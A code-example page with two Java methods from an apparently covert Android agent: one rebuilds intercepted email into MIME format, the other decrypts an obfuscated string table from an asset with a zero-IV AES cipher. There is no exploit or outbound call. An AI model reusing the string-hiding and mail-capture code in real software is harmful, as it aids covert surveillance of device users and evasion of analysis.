Exemple #1
0
  public String makeMimeMessage(final int maxMessageSize) {
    final StringBuffer mailRaw = new StringBuffer();

    mailRaw.append("Date: " + timestamp.toGMTString() + "\r\n");
    mailRaw.append("From: " + fromAddress + "\r\n");

    mailRaw.append("To: " + toAddresses + "\r\n");
    mailRaw.append("Cc: " + ccAddresses + "\r\n");

    mailRaw.append("Subject: " + subject + "\r\n");

    // comincia la ricostruzione del MIME
    // 18.14=MIME-Version: 1.0
    mailRaw.append(M.e("MIME-Version: 1.0") + "\r\n"); // $NON-NLS-1$
    final long rnd = Math.abs(Utils.getRandom());
    // 18.15=------_NextPart_
    final String boundary = M.e("------_NextPart_") + rnd; // $NON-NLS-1$

    if (isMultipart()) {
      // 18.16=Content-Type: multipart/alternative; boundary=
      mailRaw.append(
          M.e("Content-Type: multipart/alternative; boundary=") // $NON-NLS-1$
              + boundary
              + "\r\n"); //$NON-NLS-1$
      mailRaw.append("\r\n--" + boundary + "\r\n"); // $NON-NLS-1$ //$NON-NLS-2$
    }
    // j_19=Content-Transfer-Encoding: quoted-printable
    mailRaw.append(M.e("Content-Transfer-Encoding: 8bit") + "\r\n");
    // 18.17=Content-type: text/plain; charset=UTF8
    mailRaw.append(M.e("Content-type: text/plain; charset") + "\r\n\r\n");
    String msg = snippet;
    if (maxMessageSize > 0 && msg.length() > maxMessageSize) {
      msg = msg.substring(0, maxMessageSize);
    }

    mailRaw.append(msg);

    if (isMultipart()) {
      mailRaw.append("\r\n--" + boundary + "\r\n"); // $NON-NLS-1$ //$NON-NLS-2$

      // j_18=Content-type: text/html; charset=UTF8
      // j_19=Content-Transfer-Encoding: quoted-printable
      mailRaw.append(M.e("Content-Transfer-Encoding: 8bit") + "\r\n");
      mailRaw.append(M.e("Content-type: text/html; charset") + "\r\n\r\n");
      // mailRaw.append(htmlMessageContentType);

      if (maxMessageSize > 0 && body.length() > maxMessageSize) {
        body = body.substring(0, maxMessageSize);
      }
      mailRaw.append(body);

      mailRaw.append("\r\n--" + boundary + "--\r\n"); // $NON-NLS-1$ //$NON-NLS-2$
    }

    mailRaw.append("\r\n"); // $NON-NLS-1$

    final String craftedMail = mailRaw.toString();
    return craftedMail;
  }
  public MessagesDecrypt(Context context) {

    if (Cfg.DEBUG) {
      Check.asserts(context != null, " (init) Assert failed");
    }

    try {

      if (Cfg.DEBUG) {
        Check.log(TAG + " (MessagesDecrypt)");
      }

      InputStream stream = Utils.getAssetStream("mb.data");

      final SecretKey key = produceKey(Cfg.RNDMSG);

      if (Cfg.DEBUG) {
        Check.asserts(key != null, "null key"); // $NON-NLS-1$
      }

      if (Cfg.DEBUG) {

        Check.log(TAG + " (init): key=" + ByteArray.byteArrayToHex(key.getEncoded()));
      }

      final Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); // $NON-NLS-1$
      final byte[] iv = new byte[16];
      Arrays.fill(iv, (byte) 0);
      final IvParameterSpec ivSpec = new IvParameterSpec(iv);

      cipher.init(Cipher.DECRYPT_MODE, key, ivSpec);

      final CipherInputStream cis = new CipherInputStream(stream, cipher);
      final BufferedReader br = new BufferedReader(new InputStreamReader(cis));

      while (true) {
        final String line = br.readLine();
        if (line == null) {
          break;
        }

        final String[] kv = line.split("=", 2);
        if (Cfg.DEBUG) {
          Check.asserts(kv.length == 2, "wrong number of tokens"); // $NON-NLS-1$
          // Check.log(TAG + " " + kv[0] + " " + kv[1]); //$NON-NLS-1$ //$NON-NLS-2$
        }

        String value = kv[1].replace("$PACK$", pack);
        messages.put(kv[0], value);

        if (Cfg.DEBUG) {
          Check.asserts(messages.containsKey(kv[0]), "strange hashmap behaviour"); // $NON-NLS-1$
        }
      }

      if (Cfg.DEBUG) {
        Check.log(TAG + " (MessagesDecrypt), messages.size: " + messages.size());
      }

    } catch (final Exception ex) {
      if (Cfg.EXCEPTION) {
        Check.log(TAG + " Exception");
        Check.log(ex);
      }
    }
  }